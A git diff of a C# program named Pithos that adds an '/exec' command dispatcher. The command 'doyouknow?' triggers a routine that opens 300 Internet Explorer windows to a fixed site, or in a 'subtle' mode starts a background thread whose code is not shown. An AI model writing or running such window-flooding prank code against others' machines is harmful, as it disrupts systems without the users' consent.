diff --git a/pithosPrograms.cs b/pithosPrograms.cs index d3043cd..2b5172f 100644 --- a/pithosPrograms.cs +++ b/pithosPrograms.cs @@ -10,25 +10,34 @@ namespace Pithos { class pithosPrograms { - private static volatile bool DIE = false; + public static volatile bool DIE = false; private static string tempPath = Path.GetTempPath(); - private static bool isSubtle(string[] input) { return (input[0].Substring(0, 1) == "-" && input[0].ToLower().Contains('s')); } + private static bool isSubtle(string[] input) { try { return (input[1].Substring(0, 1) == "-" && input[1].ToLower().Contains('s')); } catch { return false; } } - public static void decodeInput(string text) + public static bool decodeInput(string text) { - string[] input = text.Replace("/exec ", "").Split(' '); + string[] input = text.ToLower().Replace("/exec ", "").Split(' '); bool subtle = isSubtle(input); - string execution = input[1]; - + string execution = input[0]; + switch (execution) + { + case "doyouknow?": + theBird(subtle); + break; + default: + return false; + } + Program.MW.display("Execution Complete.", Color.Blue); + return true; } - private static void theBird(bool subtle) { - if (subtle) { + private static void theBird(bool subtleMode) { + if (subtleMode) { Thread thr = new Thread(new ThreadStart(theBirdSubtle)); thr.Start(); - Program.MW.display("Bird Thread Started.", Color.Orange); + Program.MW.display("Bird Thread Started.", Color.Blue); } else { - Program.MW.display("Generating Windows...", Color.ForestGreen); + Program.MW.display("Generating Windows...", Color.Blue); for (int i = 0; i < 300; i++) { Process.Start("\"C:\\Program Files\\Internet Explorer\\iexplore.exe\" www.aboutthebird.com"); } } }